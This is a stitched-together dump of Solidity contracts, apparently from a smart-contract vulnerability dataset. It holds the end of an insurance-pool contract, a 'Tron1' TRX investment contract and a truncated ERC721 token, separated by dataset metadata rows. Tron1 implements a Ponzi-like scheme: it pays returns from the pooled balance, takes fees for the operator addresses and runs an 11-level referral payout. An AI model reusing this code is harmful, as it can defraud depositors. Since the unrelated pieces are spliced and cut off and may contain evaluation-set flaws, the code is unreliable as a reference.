if(tentativeRate >= 3){
return;
}else{
kLast = useableCapital.mul(3).div(100);
}
}
//caculatePolicyFee at front end
function caculatePolicyFee(uint256 _coverage, uint256 period) public view returns(uint256){
require(period == 90 || period == 180 || period == 360, "ilegal period");
uint256 useableCapital = _caculateUseableCapital();
require(_coverage <= useableCapital.mul(5).div(100), "coverage exceeds 5% of useableCapital");// each policy coverage less than 5% of current useable capital
uint256 _feeRate = _caculateFeeRateInternal(useableCapital);
return _coverage.mul(_feeRate).mul(period).div(360).div(100);
}
function insure(uint256 _coverage, uint256 period) public {
require(period == 90 || period == 180 || period == 360, "ilegal period");
uint256 policyFee;
//updateK first
uint256 useableCapital = _caculateUseableCapital();
require(_coverage <= useableCapital.mul(5).div(100), "coverage exceeds 5% of useableCapital");
uint256 tentativeRate = kLast.mul(100).div(useableCapital);
if(tentativeRate >= 3){
policyFee = _coverage.mul(tentativeRate).mul(period).div(360).div(100);
}else{
policyFee = _coverage.mul(3).mul(period).div(360).div(100);
kLast = useableCapital.mul(3).div(100);
}
uint256 totalCPTstaked = CPTstakedHere.add(publicPool.CPTstakedInPublicPool());
uint256 fee1 = policyFee.mul(CPTstakedHere).div(totalCPTstaked);
uint256 fee2 = policyFee.sub(fee1);
CPT.transferFrom(msg.sender, address(this), policyFee);
CPT.transfer(address(publicPool),fee2);
uint256 coverage1 = _coverage.mul(CPTstakedHere).div(totalCPTstaked);
uint256 coverage2 = _coverage.sub(coverage1);
uint256 coveredPeriod = period.mul(86400);
policies.push(policyInfo({
beneficiary : msg.sender,
id : policyCount,
coverage : _coverage,
coverageSharedByThis : coverage1,
coverageSharedByPublicPool : coverage2,
startTime : now,
effectiveUntil : now.add(coveredPeriod),
isClaimed : false,
inClaimApplying : false
}));
policyCount++;
beneficiaryPolicyCount[msg.sender]++;
totalCoverage = totalCoverage.add(_coverage);
totalCoverageSharedByThis = totalCoverageSharedByThis.add(coverage1);
publicPool.totalCoverageSharedByPublicUp(coverage2);
uint256 deltaAcc = policyFee.mul(1e12).div(totalCPTstaked);
accumlatedRewardPerShare = accumlatedRewardPerShare.add(deltaAcc);
publicPool.accumlatedRewardPerShareUp(deltaAcc);
emit PolicyMade(policyCount-1, _coverage, now.add(coveredPeriod));
}
// caculate policyFee each capital provider has earned
function earnedCPT(address _provider) public view returns(uint256) {
providerInfo storage provider = providerMap[_provider];
uint256 result = provider.CPTstaked.mul(accumlatedRewardPerShare).div(1e12).sub(provider.rewardDebt);
return result;
}
function getPoliciesByBeneficiary(address _beneficiary) public view returns(uint256[] memory){
uint256[] memory result = new uint256[](beneficiaryPolicyCount[_beneficiary]);
uint256 counter = 0;
for(uint256 i = 0; i < policies.length; i++){
if(policies[i].beneficiary == _beneficiary){
result[counter] = i;
counter++;
}
}
return result;
}
function transferPolicy(address to, uint256 id) public {
policyInfo storage policy = policies[id];
require(policy.beneficiary == msg.sender); // only the owner of this policy can do this
require(now < policy.effectiveUntil); // only effective policy can be transfered
require(policy.isClaimed == false); // only unclaimed policy can be transfered
beneficiaryPolicyCount[msg.sender] --;
policy.beneficiary = to;
beneficiaryPolicyCount[to]++;
}
function showPolicyDetails(uint256 _id) public view returns(uint256,uint256,uint256,bool,bool){
policyInfo storage policy = policies[_id];
return(policy.coverage, policy.startTime, policy.effectiveUntil, policy.isClaimed, policy.inClaimApplying);
}
function claimApplication(uint256 _id) public{
policyInfo storage policy = policies[_id];
require(policy.beneficiary == msg.sender); // only policy owner can apply
require(now < policy.effectiveUntil); //effective or not
require(policy.isClaimed == false);
require(policy.inClaimApplying == false);
policy.inClaimApplying = true;
policiesInClaimApplying.push(policy);
emit AppicationMade(_id, policy.coverage, policy.effectiveUntil);
}
function _doCoverageSub(policyInfo storage policy) internal {
totalCoverage = totalCoverage.sub(policy.coverage);
totalCoverageSharedByThis = totalCoverageSharedByThis.sub(policy.coverageSharedByThis);
publicPool.totalCoverageSharedByPublicDown(policy.coverageSharedByPublicPool);
}
function _tryCoverageSub(policyInfo storage policy) internal {
if(policy.effectiveUntil>=now){return;}
if(policy.isClaimed == true){return;}
if(policy.inClaimApplying == true){return;}
_doCoverageSub(policy);
}
function acceptClaimApplication(uint256 _id) external onlyOperator {
policyInfo storage policy = policies[_id];
require(policy.isClaimed == false && policy.inClaimApplying == true);
policy.isClaimed = true;
capitalInThispool = capitalInThispool.sub(policy.coverageSharedByThis);
publicPool.capitalInPublicPoolDown(policy.coverageSharedByPublicPool);
_doCoverageSub(policy);
CPT.transfer(policy.beneficiary, policy.coverageSharedByThis);
CPT.transferFrom(address(publicPool), policy.beneficiary, policy.coverageSharedByPublicPool);
}
function refuseClaimApplication(uint256 _id) external onlyOperator {
policyInfo storage policy = policies[_id];
require(policy.isClaimed == false && policy.inClaimApplying == true);
policy.inClaimApplying = false;
_tryCoverageSub(policy);
}
function coverageSubstractionExternal(uint256 _id) external onlyRobot {
policyInfo storage policy = policies[_id];
_tryCoverageSub(policy);
}
function provideCapital(uint256 _providedAmount) public {
require(inCapitalProviding == false);
inCapitalProviding = true;
providerInfo storage provider = providerMap[msg.sender];
if(provider.CPTstaked > 0){
uint256 earned = earnedCPT(msg.sender);
CPT.transfer(msg.sender, earned);
}
CPT.transferFrom(msg.sender, address(this), _providedAmount);
sCPTforThis.mint(msg.sender, _providedAmount);
provider.CPTstaked = provider.CPTstaked.add(_providedAmount);
provider.rewardDebt = provider.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
CPTstakedHere = CPTstakedHere.add(_providedAmount);
capitalInThispool = capitalInThispool.add(_providedAmount);
uint256 useableCapital = _caculateUseableCapital();
_updateKLast(useableCapital);
inCapitalProviding = false;
}
function transferCapitalShare(address transferor, address recipient, uint256 amount) external only_sCPTforThis_contractAddress {
require(inCapitalTransfer == false);
inCapitalTransfer = true;
if((!_isTreatedAsOperator[transferor] && !_isMiningAddress[transferor])
&& (!_isTreatedAsOperator[recipient] && !_isMiningAddress[recipient])){
//comon address transfer to another common address
_transferStandard(transferor,recipient,amount);
}else if((!_isTreatedAsOperator[transferor] && !_isMiningAddress[transferor])
&& (_isTreatedAsOperator[recipient] && !_isMiningAddress[recipient])){
//common address sell sCPT to dex-pair
_transferToTreatedAsOperator(transferor,amount);
}else if((_isTreatedAsOperator[transferor] && !_isMiningAddress[transferor])
&& (!_isTreatedAsOperator[recipient] && !_isMiningAddress[recipient])){
//common address buy sCPT from dex-pair
_transferFromTreatedAsOperator(recipient,amount);
}else{}
inCapitalTransfer = false;
}
function _transferStandard(address transferor, address recipient, uint256 amount) internal {
providerInfo storage provider_transferor = providerMap[transferor];
providerInfo storage provider_recipient = providerMap[recipient];
require(provider_transferor.CPTstaked >= amount);
//caculate earnedCPT of each side before param changement
uint256 earnedCPTtransferor = earnedCPT(transferor);
uint256 earnedCPTrecipient = earnedCPT(recipient);
//update CPTstaked of each side
provider_transferor.CPTstaked = provider_transferor.CPTstaked.sub(amount);
provider_recipient.CPTstaked = provider_recipient.CPTstaked.add(amount);
//update rewardDebt of each side
provider_transferor.rewardDebt = provider_transferor.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
provider_recipient.rewardDebt = provider_recipient.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
CPT.transfer(transferor, earnedCPTtransferor);
CPT.transfer(recipient, earnedCPTrecipient);
}
//while transfer capital to excluded address, equals transfering to operator
function _transferToTreatedAsOperator(address transferor, uint256 amount) internal{
providerInfo storage provider_transferor = providerMap[transferor];
providerInfo storage provider_operator = providerMap[operator];
require(provider_transferor.CPTstaked >= amount);
uint256 earnedCPTtransferor = earnedCPT(transferor);
uint256 earnedCPToperator = earnedCPT(operator);
provider_transferor.CPTstaked = provider_transferor.CPTstaked.sub(amount);
provider_operator.CPTstaked = provider_operator.CPTstaked.add(amount);
provider_transferor.rewardDebt = provider_transferor.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
provider_operator.rewardDebt = provider_operator.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
CPT.transfer(transferor,earnedCPTtransferor);
CPT.transfer(operator,earnedCPToperator);
}
//while transfer capital from excluded address, equals transfering from operator
function _transferFromTreatedAsOperator(address recipient, uint256 amount) internal{
providerInfo storage provider_operator = providerMap[operator];
providerInfo storage provider_recipient = providerMap[recipient];
require(provider_operator.CPTstaked >= amount);
uint256 earnedCPToperator = earnedCPT(operator);
uint256 earnedCPTrecipient = earnedCPT(recipient);
provider_operator.CPTstaked = provider_operator.CPTstaked.sub(amount);
provider_recipient.CPTstaked = provider_recipient.CPTstaked.add(amount);
provider_operator.rewardDebt = provider_operator.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
provider_recipient.rewardDebt = provider_recipient.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
CPT.transfer(operator,earnedCPToperator);
CPT.transfer(recipient,earnedCPTrecipient);
}
function takeReward() public {
providerInfo storage provider = providerMap[msg.sender];
require(provider.CPTstaked > 0);
uint256 earned = earnedCPT(msg.sender);
provider.rewardDebt = provider.CPTstaked.mul(accumlatedRewardPerShare).div(1e12);
CPT.transfer(msg.sender,earned);
}
//withdraw the left CPTs while emergency
function emergencyWithdraw(bytes32 hash, bytes calldata signature1, bytes calldata signature2, bytes calldata signature3,address to) external onlyOperator {
uint256 value = CPT.balanceOf(address(this));
require(emergencyJudgement.judgement(hash,signature1,signature2,signature3,value,to) == true);
CPT.transfer(to,value);
}
}
| 168,890 | 13,591 |
e29288b920083858783b772b4ccc2ab8ef749ebb65f07445ed8751f5b6c08395
| 19,375 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWzrdAxzw3zVpgidpFg9KDCZCrp9VAkoxQ_Tron1.sol
| 4,542 | 17,252 |
//SourceUnit: tron1.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Tron1 {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 150;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 293,524 | 13,592 |
ccbd2ed645f5034ffe051a0463c8104b74f4dee8ad17d3660be10572b3b0c3e1
| 25,245 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6fdc09659004d9420283d771d887543f89ba1537.sol
| 3,944 | 14,146 |
pragma solidity ^0.4.13;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC721Basic {
event Transfer(address indexed _from,
address indexed _to,
uint256 _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner,
address _operator)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from,
address _to,
uint256 _tokenId)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender,
uint256 _tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender));
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
